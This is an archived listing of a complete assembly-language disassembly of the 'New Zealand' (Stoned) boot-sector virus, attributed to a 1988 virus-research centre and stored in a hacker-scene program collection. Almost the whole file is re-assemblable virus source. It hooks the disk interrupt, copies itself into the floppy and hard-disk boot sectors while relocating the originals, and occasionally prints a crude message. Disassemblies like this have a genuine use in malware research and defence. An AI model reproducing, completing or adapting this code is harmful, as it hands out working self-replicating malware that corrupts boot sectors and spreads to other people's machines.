home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / STONE.ASM < prev    next >
Assembly Source File  |  1992-08-09  |  12KB  |  284 lines

  1. ;
  2. ; IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM;
  3. ; :                 British Computer Virus Research Centre                   :
  4. ; :  12 Guildford Street,   Brighton,   East Sussex,   BN1 3LS,   England    :
  5. ; :  Telephone:     Domestic   0273-26105,   International  +44-273-26105    :
  6. ; :                                                                          :
  7. ; :                         The 'New Zealand' Virus                          :
  8. ; :                Disassembled by Joe Hirst,   November 1988                :
  9. ; :                                                                          :
  10. ; :                   Copyright (c) Joe Hirst 1988, 1989.                    :
  11. ; :                                                                          :
  12. ; :      This listing is only to be made available to virus researchers      :
  13. ; :                or software writers on a need-to-know basis.              :
  14. ; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM<
  15.  
  16.         ; The virus consists of a boot sector only.  The original boot sector
  17.         ; is kept at track zero, head one, sector three on a floppy disk, or
  18.         ; track zero, head zero, sector two on a hard disk.
  19.  
  20.         ; The disassembly has been tested by re-assembly using MASM 5.0.
  21.  
  22.         ; The program requires an origin address of 7C00H, as it is designed
  23.         ; to load and run as a boot sector.
  24.  
  25. RAM     SEGMENT AT 0
  26.  
  27.         ; System data
  28.  
  29.         ORG     4CH
  30. BW004C  DW      ?                       ; Interrupt 19 (13H) offset
  31. BW004E  DW      ?                       ; Interrupt 19 (13H) segment
  32.         ORG     413H
  33. BW0413  DW      ?                       ; Total RAM size
  34.         ORG     440H
  35. BB0440  DB      ?                       ; Motor timeout counter
  36.         ORG     46CH
  37. BB046C  DB      ?                       ; System clock
  38.  
  39.         ORG     7C0AH
  40. I13_OF  DW      ?
  41. I13_SG  DW      ?
  42. HICOOF  DW      ?
  43. HICOSG  DW      ?                       ; High core segment
  44.  
  45. RAM     ENDS
  46.  
  47. CODE    SEGMENT BYTE PUBLIC 'CODE'
  48.         ASSUME CS:CODE,DS:RAM
  49.  
  50. START:  DB      0EAH                    ; Far jump to next byte
  51.         DW      BP0010, 07C0H
  52.  
  53. BP0010: JMP     BP0110
  54.  
  55. DRIVEN  DB      0                       ; Drive number (A=0, B=1, C=2)
  56. DUMMY   DB      0
  57.  
  58. ;               Original Int 13H address
  59.  
  60. INT_13  EQU     THIS DWORD
  61.         DW      0
  62.         DW      0
  63.  
  64. ;               Branch address in high core
  65.  
  66. HIGHCO  EQU     THIS DWORD
  67.         DW      BP0120
  68.         DW      0
  69.  
  70. ;               Boot sector processing address
  71.  
  72. BOOTST  EQU     THIS DWORD
  73.         DW      07C00H
  74.         DW      0
  75.  
  76. ;               Interrupt 13H disk I/O routine
  77.  
  78. BP0020: PUSH    DS
  79.         PUSH    AX
  80.         CMP     AH,2                    ; Sub-function 2
  81.         JB      BP0030                  ; Pass on if below
  82.         CMP     AH,4                    ; Sub-function 4
  83.         JNB     BP0030                  ; Pass on if not below
  84.         CMP     DL,0                    ; Is drive A
  85.         JNE     BP0030                  ; Pass on if not
  86.         XOR     AX,AX                   ; \ Segment zero
  87.         MOV     DS,AX                   ; /
  88.         MOV     AL,BB0440               ; Get motor timeout counter
  89.         OR      AL,AL                   ; Test for zero
  90.         JNE     BP0030                  ; Branch if not
  91.         CALL    BP0040                  ; Call infection routine
  92. BP0030: POP     AX
  93.         POP     DS
  94.         JMP     INT_13                  ; Pass control to Int 13H
  95.  
  96. ;               Infection routine
  97.  
  98. BP0040: PUSH    BX
  99.         PUSH    CX
  100.         PUSH    DX
  101.         PUSH    ES
  102.         PUSH    SI
  103.         PUSH    DI
  104.         MOV     SI,4                    ; Retry count
  105. BP0050: MOV     AX,201H                 ; Read one sector
  106.         PUSH    CS                      ; \ Set ES to CS
  107.         POP     ES                      ; /
  108.         MOV     BX,200H                 ; Boot sector buffer
  109.         MOV     CX,1                    ; Track zero, sector 1
  110.         XOR     DX,DX                   ; Head zero, drive A
  111.         PUSHF                           ; Fake an interrupt
  112.         CALL    INT_13                  ; Call Int 13H
  113.         JNB     BP0060                  ; Branch if no error
  114.         XOR     AX,AX                   ; Reset disk sub-system
  115.         PUSHF                           ; Fake an interrupt
  116.         CALL    INT_13                  ; Call Int 13H
  117.         DEC     SI                      ; Decrement retry count
  118.         JNE     BP0050                  ; Retry
  119.         JMP     BP0080                  ; No more retries
  120.  
  121. BP0060: XOR     SI,SI                   ; Start of program
  122.         MOV     DI,200H                 ; Boot sector buffer
  123.         MOV     AX,ES:[SI]              ; Get first word
  124.         CMP     AX,ES:[DI]              ; Test if same
  125.         JNE     BP0070                  ; Install if not
  126.         MOV     AX,ES:[SI+2]            ; Get second word
  127.         CMP     AX,ES:[DI+2]            ; Test if same
  128.         JNE     BP0070                  ; Install if not
  129.         JMP     BP0080                  ; Pass on
  130.  
  131. BP0070: MOV     AX,301H                 ; Write one sector
  132.         MOV     BX,200H                 ; Boot sector buffer
  133.         MOV     CX,3                    ; Track zero, sector 3
  134.         MOV     DX,100H                 ; Head 1, drive A
  135.         PUSHF                           ; Fake an interrupt
  136.         CALL    INT_13                  ; Call Int 13H
  137.         JB      BP0080                  ; Branch if error
  138.         MOV     AX,301H                 ; Write one sector
  139.         XOR     BX,BX                   ; This sector
  140.         MOV     CL,1                    ; Track zero, sector 1
  141.         XOR     DX,DX                   ; Head zero, drive A
  142.         PUSHF                           ; Fake an interrupt
  143.         CALL    INT_13                  ; Call Int 13H
  144. BP0080: POP     DI
  145.         POP     SI
  146.         POP     ES
  147.         POP     DX
  148.         POP     CX
  149.         POP     BX
  150.         RET
  151.  
  152. ;               Display message
  153.  
  154. BP0090: MOV     AL,CS:[BX]              ; Get next message byte
  155.         INC     BX                      ; Update pointer
  156.         CMP     AL,0                    ; Test for end of message
  157.         JNE     BP0100                  ; Branch to display
  158.         RET
  159.  
  160. BP0100: PUSH    AX
  161.         PUSH    BX
  162.         MOV     AH,0EH                  ; Write TTY mode
  163.         MOV     BH,0
  164.         INT     10H                     ; VDU I/O
  165.         POP     BX
  166.         POP     AX
  167.         JMP     SHORT BP0090            ; Process next byte
  168.  
  169. ;               Install in high core
  170.  
  171. BP0110: XOR     AX,AX                   ; \ Segment zero
  172.         MOV     DS,AX                   ; /
  173.         CLI
  174.         MOV     SS,AX                   ; \ Set stack to boot sector area
  175.         MOV     SP,7C00H                ; /
  176.         STI
  177.         MOV     AX,BW004C               ; Get Int 13H offset
  178.         MOV     I13_OF,AX               ; Store in jump offset
  179.         MOV     AX,BW004E               ; Get Int 13H segment
  180.         MOV     I13_SG,AX               ; Store in jump segment
  181.         MOV     AX,BW0413               ; Get total RAM size
  182.         DEC     AX                      ; \ Subtract 2k
  183.         DEC     AX                      ; /
  184.         MOV     BW0413,AX               ; Replace total RAM size
  185.         MOV     CL,6                    ; Bits to move
  186.         SHL     AX,CL                   ; Convert to Segment
  187.         MOV     ES,AX                   ; Set ES to segment
  188.         MOV     HICOSG,AX               ; Move segment to jump address
  189.         MOV     AX,OFFSET BP0020        ; Get Int 13H routine address
  190.         MOV     BW004C,AX               ; Set new Int 13H offset
  191.         MOV     BW004E,ES               ; Set new Int 13H segment
  192.         MOV     CX,OFFSET ENDADR        ; Load length of program
  193.         PUSH    CS                      ; \ Set DS to CS
  194.         POP     DS                      ; /
  195.         XOR     SI,SI                   ; \ Set pointers to zero
  196.         MOV     DI,SI                   ; /
  197.         CLD
  198.         REPZ    MOVSB                   ; Copy program to high core
  199.         JMP     HIGHCO                  ; Branch to next instruc in high core
  200.  
  201. ;               Continue processing in high core
  202.  
  203. BP0120: MOV     AX,0                    ; Reset disk sub-system
  204.         INT     13H                     ; Disk I/O
  205.         XOR     AX,AX                   ; \ Segment zero
  206.         MOV     ES,AX                   ; /
  207.         ASSUME  DS:NOTHING,ES:RAM
  208.         MOV     AX,201H                 ; Read one sector
  209.         MOV     BX,7C00H                ; Boot sector buffer address
  210.         CMP     DRIVEN,0                ; Test drive is A
  211.         JE      BP0130                  ; Branch if yes
  212.         MOV     CX,2                    ; Track zero, sector 2
  213.         MOV     DX,80H                  ; Side zero, drive C
  214.         INT     13H                     ; Disk I/O
  215.         JMP     BP0150                  ; Pass control to boot sector
  216.  
  217. ;               Floppy disk
  218.  
  219. BP0130: MOV     CX,3                    ; Track zero, sector 3
  220.         MOV     DX,100H                 ; Side one, drive A
  221.         INT     13H                     ; Disk I/O
  222.         JB      BP0150                  ; Branch if error
  223.         TEST    BB046C,7                ; Test low byte of time
  224.         JNZ     BP0140                  ; Branch if not 7
  225.         MOV     BX,OFFSET MESSAGE       ; Load message address
  226.         CALL    BP0090                  ; Display message
  227. BP0140: PUSH    CS                      ; \ Set ES to CS
  228.         POP     ES                      ; /
  229.         MOV     AX,201H                 ; Read one sector
  230.         MOV     BX,200H                 ; C-disk boot sector buffer
  231.         MOV     CX,1                    ; Track zero, sector 1
  232.         MOV     DX,80H                  ; Side zero, drive C
  233.         INT     13H                     ; Disk I/O
  234.         JB      BP0150                  ; Branch if error
  235.         PUSH    CS                      ; \ Set DS to CS
  236.         POP     DS                      ; /
  237.         MOV     SI,200H                 ; C-disk boot sector buffer
  238.         MOV     DI,0                    ; Start of program
  239.         MOV     AX,[SI]                 ; Get first word
  240.         CMP     AX,[DI]                 ; Compare to C-disk
  241.         JNE     BP0160                  ; Install on C-disk if different
  242.         MOV     AX,[SI+2]               ; Get second word
  243.         CMP     AX,[DI+2]               ; Compare to C-disk
  244.         JNE     BP0160                  ; Install on C-disk if different
  245. BP0150: MOV     DRIVEN,0                ; Drive A
  246.         MOV     DUMMY,0
  247.         JMP     BOOTST                  ; Pass control to boot sector
  248.  
  249. ;               Install on C-disk
  250.  
  251. BP0160: MOV     DRIVEN,2                ; Drive C
  252.         MOV     DUMMY,0
  253.         MOV     AX,301H                 ; Write one sector
  254.         MOV     BX,200H                 ; C-disk boot sector buffer
  255.         MOV     CX,2                    ; Track zero, sector 2
  256.         MOV     DX,80H                  ; side zero, drive C
  257.         INT     13H                     ; Disk I/O
  258.         JB      BP0150                  ; Branch if error
  259.         PUSH    CS                      ; \ Set DS to CS
  260.         POP     DS                      ; /
  261.         PUSH    CS                      ; \ Set ES to CS
  262.         POP     ES                      ; /
  263.         MOV     SI,OFFSET ENDADR+200H   ; Target offset
  264.         MOV     DI,OFFSET ENDADR        ; Source offset
  265.     MOV    CX,OFFSET ENDADR-400H    ; Length to move
  266.         REPZ    MOVSB                   ; Copy C-disk boot sector
  267.         MOV     AX,301H                 ; Write one sector
  268.         MOV     BX,0                    ; Write this sector
  269.         MOV     CX,1                    ; Track zero, sector 1
  270.         MOV     DX,80H                  ; Side zero, drive C
  271.         INT     13H                     ; Disk I/O
  272.         JMP     SHORT BP0150            ; Pass control to boot sector
  273.  
  274. MESSAGE DB      7, 'Old DICKs don't work!', 7, 0DH, 0AH, 0AH, 0
  275.         DB      'Neither does your computer'
  276.  
  277. ENDADR  EQU     $-1
  278.  
  279. CODE    ENDS
  280.  
  281.         END     START
  282.  
  283.  
  284.